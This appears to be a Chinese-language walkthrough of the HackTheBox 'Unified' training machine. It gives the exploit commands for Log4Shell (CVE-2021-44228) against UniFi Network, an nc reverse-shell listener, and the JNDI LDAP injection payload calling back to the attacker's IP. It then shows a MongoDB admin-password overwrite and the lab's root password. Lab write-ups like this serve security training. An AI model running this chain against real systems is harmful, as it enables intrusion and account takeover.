Hackthebox 靶机Unified详细攻略
目标:Unified
作者使用Kali Linux作为渗透测试平台,在Kali Linux上首先通过openvpn建立与Hackthebox网站的VPN连接,得到目标Unified实例的IP地址:
# openvpn starting_point_jasonhuawen.ovpn
Task 1
What ports are open?
思路:此题再简单不过了,直接用扫描神器对目标进行扫描,即可得到开放的端口列表。
# nmap -sS 10.129.232.197
答案:22,6789,8080,8443
Task 2
Name of the software that is running on the highest port?
思路:从前面的扫描结果知道,该目标运行有web应用而且是https的,端口为8443,自然而然,通过浏览器访问https:// 10.129.232.197,似乎是一个网络设备的管理页面,根据提示,页面的title即为答案。
答案:UniFi Network
Task 3
What is the version of the software that is running?
思路:页面里就有此题的答案。
答案:6.4.54
Task 4
What is the CVE for the identified vulnerability?
思路:根据UniFi Network以及其版本的信息在google查找相应的CVE漏洞即可得到本题的答案。
答案:CVE-2021-44228
Task 5
What is the version of Maven that we installed?
思路:
在kali linux上安装maven
#apt-get install maven $ git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
安装完成以后 用mvn -v即可得到版本信息, “Apache Maven 3.6.3”
答案:3.6.3
Task 6
What protocol does JDNI leverage in the injection?
答案:LDAP
Task 7
What tool do we use to intercept the traffic, indicating the attack was successful?
答案:tcpdump
Task 8
What port do we need to inspect intercepted traffic for?
答案:389
Task 9
What port is the MongoDB service running on?
思路:
此后所有的题目都是基于需要拿到目标的shell,而拿到shell的方法是利用CVE漏洞CVE-2021-44228,拿到shell以后,以下为拿到shell的过程:
第一步:根据下述步骤在Kali Linux安装docker
#apt update #curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add – #echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | #sudo tee /etc/apt/sources.list.d/docker.list #apt update #apt remove docker docker-engine docker.io #apt install docker-ce -y #systemctl start docker #systemctl enable docker
第二步:CVE-2021-44228漏洞利用
执行下述命令在kali Linux安装JDK以及maven.
#apt update && apt install openjdk-11-jre maven #git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt #mvn package -f utils/rogue-jndi/
下载并制作Docker Log4jUnifi
的
镜像:
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .
此时在Kali Linux 上用openVPN连接上Hackthebox,启动Unified实例,然后在kali Linux用nc启动监听:
# nc -nlvp 1234 -s 10.10.14.165
#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.254.73:8443 -i 10.10.14.165 -p 1234
输出:
{"username": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "strict":true}
此时表明已经成功拿到目标的shell,在目标各个目录搜寻,查找与数据库服务相关的配置文件,在文件中/usr/lib/unifi/data/system.properties
找到mongodb的端口
unifi.db.port=27117
答案:27117
Task 10
What is the default database name for UniFi applications?
思路:
从Task 9已经知道数据库服务的端口,因此在目标本地连接mongodb数据库:
#mongodb --port 27117 #show dbs ace 0.002GB ace_stat 0.000GB admin 0.000GB config 0.000GB local 0.000GB
答案:ace
Task 11
What is the function we use to enumerate users within the database in MongoDB?
答案:db.admin.find()
Task 12
What is the function to add data to the database in MongoDB?
答案:db.admin.insert()
Task 13
What is the function we use to update users within the database in MongoDB?
答案:db.admin.update()
Task 14
What is the password for the root user?
思路:
通过在数据库用db.admin.update()方法更改administrator的密码为我们自己设置的密码,但是实话实说我用mkpasswd创建的hash值,发现登陆有问题,即使指定salt值,虽然产生固定的hash值,但是与目标的hash值仍不明白(百思不得其解)。
通过修改administrator以及我们自己设置的密码成功登陆目标的web管理界面后,找到一些信息,包括用于ssh远程访问的用户名(root)以及密码。
答案:NotACrackablePassword4U2022
然后用该密码SSH登陆目标,即可得到root的Flag。